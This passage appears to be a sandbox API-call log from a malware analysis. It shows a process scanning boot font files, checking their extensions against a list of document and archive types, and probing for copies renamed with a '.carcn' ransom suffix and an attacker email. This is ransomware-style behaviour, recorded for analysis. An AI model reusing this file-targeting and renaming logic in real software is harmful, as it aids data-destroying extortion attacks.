(lpString1=".ppt", lpString2=".ttf") returned -1 [0252.868] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.868] lstrlenW (lpString=".zip") returned 4 [0252.868] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.868] lstrlenW (lpString=".rar") returned 4 [0252.868] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.868] lstrlenW (lpString=".bz2") returned 4 [0252.868] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.868] lstrlenW (lpString=".7z") returned 3 [0252.868] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.868] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.868] lstrlenW (lpString=".dbf") returned 4 [0252.868] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.868] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.869] lstrlenW (lpString=".1cd") returned 4 [0252.869] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.869] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.869] lstrlenW (lpString=".jpg") returned 4 [0252.869] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.869] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.869] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.869] lstrlenW (lpString=".doc") returned 4 [0252.869] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.869] lstrlenW (lpString=".docx") returned 5 [0252.869] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.869] lstrlenW (lpString=".pdf") returned 4 [0252.869] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.869] lstrlenW (lpString=".xls") returned 4 [0252.869] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.869] lstrlenW (lpString=".xlsx") returned 5 [0252.869] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.869] lstrlenW (lpString=".ppt") returned 4 [0252.869] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.869] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.869] lstrlenW (lpString=".zip") returned 4 [0252.869] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.869] lstrlenW (lpString=".rar") returned 4 [0252.869] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.869] lstrlenW (lpString=".bz2") returned 4 [0252.869] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.869] lstrlenW (lpString=".7z") returned 3 [0252.869] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.870] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.870] lstrlenW (lpString=".dbf") returned 4 [0252.870] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.870] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.870] lstrlenW (lpString=".1cd") returned 4 [0252.870] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.870] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.870] lstrlenW (lpString=".jpg") returned 4 [0252.870] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.870] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0252.870] lstrlenW (lpString="meiryon_boot.ttf") returned 16 [0252.870] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.872] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=143754) returned 1 [0252.872] CloseHandle (hObject=0x348) returned 1 [0252.872] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0252.873] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.873] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.873] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.873] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.873] lstrlenW (lpString=".doc") returned 4 [0252.873] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.873] lstrlenW (lpString=".docx") returned 5 [0252.873] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.873] lstrlenW (lpString=".pdf") returned 4 [0252.873] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.873] lstrlenW (lpString=".xls") returned 4 [0252.873] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.873] lstrlenW (lpString=".xlsx") returned 5 [0252.873] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.873] lstrlenW (lpString=".ppt") returned 4 [0252.873] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.873] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.873] lstrlenW (lpString=".zip") returned 4 [0252.873] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.873] lstrlenW (lpString=".rar") returned 4 [0252.873] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.873] lstrlenW (lpString=".bz2") returned 4 [0252.873] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.873] lstrlenW (lpString=".7z") returned 3 [0252.873] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.873] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.873] lstrlenW (lpString=".dbf") returned 4 [0252.874] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.874] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.874] lstrlenW (lpString=".1cd") returned 4 [0252.874] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.874] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.874] lstrlenW (lpString=".jpg") returned 4 [0252.874] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.874] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.874] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.874] lstrlenW (lpString=".doc") returned 4 [0252.874] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.874] lstrlenW (lpString=".docx") returned 5 [0252.874] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.874] lstrlenW (lpString=".pdf") returned 4 [0252.874] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.874] lstrlenW (lpString=".xls") returned 4 [0252.874] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.874] lstrlenW (lpString=".xlsx") returned 5 [0252.874] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.874] lstrlenW (lpString=".ppt") returned 4 [0252.874] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.874] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.874] lstrlenW (lpString=".zip") returned 4 [0252.874] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.874] lstrlenW (lpString=".rar") returned 4 [0252.874] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.874] lstrlenW (lpString=".bz2") returned 4 [0252.874] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.875] lstrlenW (lpString=".7z") returned 3 [0252.875] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.875] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.875] lstrlenW (lpString=".dbf") returned 4 [0252.875] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.875] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.875] lstrlenW (lpString=".1cd") returned 4 [0252.875] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.875] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0252.875] lstrlenW (lpString=".jpg") returned 4 [0252.875] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.875] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0252.875] lstrlenW (lpString="meiryo_boot.ttf") returned 15 [0252.875] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.876] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=145419) returned 1 [0252.876] CloseHandle (hObject=0x348) returned 1 [0252.877] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0252.877] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.877] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.877] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.877] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.877] lstrlenW (lpString=".doc") returned 4 [0252.877] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.877] lstrlenW (lpString=".docx") returned 5 [0252.877] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.877] lstrlenW (lpString=".pdf") returned 4 [0252.877] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.877] lstrlenW (lpString=".xls") returned 4 [0252.877] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.877] lstrlenW (lpString=".xlsx") returned 5 [0252.877] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.877] lstrlenW (lpString=".ppt") returned 4 [0252.877] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.877] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.877] lstrlenW (lpString=".zip") returned 4 [0252.877] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.877] lstrlenW (lpString=".rar") returned 4 [0252.877] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.877] lstrlenW (lpString=".bz2") returned 4 [0252.877] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.877] lstrlenW (lpString=".7z") returned 3 [0252.878] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.878] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.878] lstrlenW (lpString=".dbf") returned 4 [0252.878] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.878] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.878] lstrlenW (lpString=".1cd") returned 4 [0252.878] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.878] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.878] lstrlenW (lpString=".jpg") returned 4 [0252.878] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.878] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.878] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.878] lstrlenW (lpString=".doc") returned 4 [0252.878] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.878] lstrlenW (lpString=".docx") returned 5 [0252.878] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.878] lstrlenW (lpString=".pdf") returned 4 [0252.878] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.878] lstrlenW (lpString=".xls") returned 4 [0252.878] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.878] lstrlenW (lpString=".xlsx") returned 5 [0252.878] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.878] lstrlenW (lpString=".ppt") returned 4 [0252.878] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.878] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.878] lstrlenW (lpString=".zip") returned 4 [0252.878] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.878] lstrlenW (lpString=".rar") returned 4 [0252.878] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.878] lstrlenW (lpString=".bz2") returned 4 [0252.878] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.878] lstrlenW (lpString=".7z") returned 3 [0252.878] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.879] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.879] lstrlenW (lpString=".dbf") returned 4 [0252.879] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.879] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.879] lstrlenW (lpString=".1cd") returned 4 [0252.879] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.879] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0252.879] lstrlenW (lpString=".jpg") returned 4 [0252.879] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.879] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0252.879] lstrlenW (lpString="msjhn_boot.ttf") returned 14 [0252.879] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.879] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=162331) returned 1 [0252.880] CloseHandle (hObject=0x348) returned 1 [0252.880] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0252.880] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.880] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.880] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.880] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.880] lstrlenW (lpString=".doc") returned 4 [0252.880] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.880] lstrlenW (lpString=".docx") returned 5 [0252.880] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.880] lstrlenW (lpString=".pdf") returned 4 [0252.880] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.880] lstrlenW (lpString=".xls") returned 4 [0252.880] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.880] lstrlenW (lpString=".xlsx") returned 5 [0252.880] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.880] lstrlenW (lpString=".ppt") returned 4 [0252.880] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.880] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.880] lstrlenW (lpString=".zip") returned 4 [0252.880] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.880] lstrlenW (lpString=".rar") returned 4 [0252.880] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.880] lstrlenW (lpString=".bz2") returned 4 [0252.880] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.881] lstrlenW (lpString=".7z") returned 3 [0252.881] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.881] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.881] lstrlenW (lpString=".dbf") returned 4 [0252.881] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.881] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.881] lstrlenW (lpString=".1cd") returned 4 [0252.881] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.881] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.881] lstrlenW (lpString=".jpg") returned 4 [0252.881] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.881] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.881] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.881] lstrlenW (lpString=".doc") returned 4 [0252.881] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.881] lstrlenW (lpString=".docx") returned 5 [0252.881] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.881] lstrlenW (lpString=".pdf") returned 4 [0252.881] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.881] lstrlenW (lpString=".xls") returned 4 [0252.881] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.881] lstrlenW (lpString=".xlsx") returned 5 [0252.881] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.881] lstrlenW (lpString=".ppt") returned 4 [0252.881] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.881] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.881] lstrlenW (lpString=".zip") returned 4 [0252.881] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.881] lstrlenW (lpString=".rar") returned 4 [0252.881] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.881] lstrlenW (lpString=".bz2") returned 4 [0252.881] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.882] lstrlenW (lpString=".7z") returned 3 [0252.882] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.882] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.882] lstrlenW (lpString=".dbf") returned 4 [0252.882] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.882] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.882] lstrlenW (lpString=".1cd") returned 4 [0252.882] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.882] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0252.882] lstrlenW (lpString=".jpg") returned 4 [0252.882] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.882] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0252.882] lstrlenW (lpString="msjh_boot.ttf") returned 13 [0252.882] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.883] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=164347) returned 1 [0252.883] CloseHandle (hObject=0x348) returned 1 [0252.883] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0252.883] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.883] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.883] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.883] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.883] lstrlenW (lpString=".doc") returned 4 [0252.883] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.883] lstrlenW (lpString=".docx") returned 5 [0252.884] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.884] lstrlenW (lpString=".pdf") returned 4 [0252.884] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.884] lstrlenW (lpString=".xls") returned 4 [0252.884] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.884] lstrlenW (lpString=".xlsx") returned 5 [0252.884] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.884] lstrlenW (lpString=".ppt") returned 4 [0252.884] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.884] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.884] lstrlenW (lpString=".zip") returned 4 [0252.884] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.884] lstrlenW (lpString=".rar") returned 4 [0252.884] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.884] lstrlenW (lpString=".bz2") returned 4 [0252.884] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.884] lstrlenW (lpString=".7z") returned 3 [0252.884] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.884] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.884] lstrlenW (lpString=".dbf") returned 4 [0252.884] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.884] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.884] lstrlenW (lpString=".1cd") returned 4 [0252.884] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.884] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.884] lstrlenW (lpString=".jpg") returned 4 [0252.884] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.884] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.884] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.884] lstrlenW (lpString=".doc") returned 4 [0252.884] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.884] lstrlenW (lpString=".docx") returned 5 [0252.884] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.885] lstrlenW (lpString=".pdf") returned 4 [0252.885] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.885] lstrlenW (lpString=".xls") returned 4 [0252.885] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.885] lstrlenW (lpString=".xlsx") returned 5 [0252.885] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.885] lstrlenW (lpString=".ppt") returned 4 [0252.885] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.885] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.885] lstrlenW (lpString=".zip") returned 4 [0252.885] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.885] lstrlenW (lpString=".rar") returned 4 [0252.885] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.885] lstrlenW (lpString=".bz2") returned 4 [0252.885] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.885] lstrlenW (lpString=".7z") returned 3 [0252.885] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.885] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.885] lstrlenW (lpString=".dbf") returned 4 [0252.885] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.885] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.885] lstrlenW (lpString=".1cd") returned 4 [0252.885] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.885] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0252.885] lstrlenW (lpString=".jpg") returned 4 [0252.885] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.886] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0252.886] lstrlenW (lpString="msyhn_boot.ttf") returned 14 [0252.886] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.886] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=154427) returned 1 [0252.886] CloseHandle (hObject=0x348) returned 1 [0252.886] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0252.886] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.887] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.887] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0252.887] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0252.887] lstrlenW (lpString=".doc") returned 4 [0252.887] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.887] lstrlenW (lpString=".docx") returned 5 [0252.887] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.887] lstrlenW (lpString=".pdf") returned 4 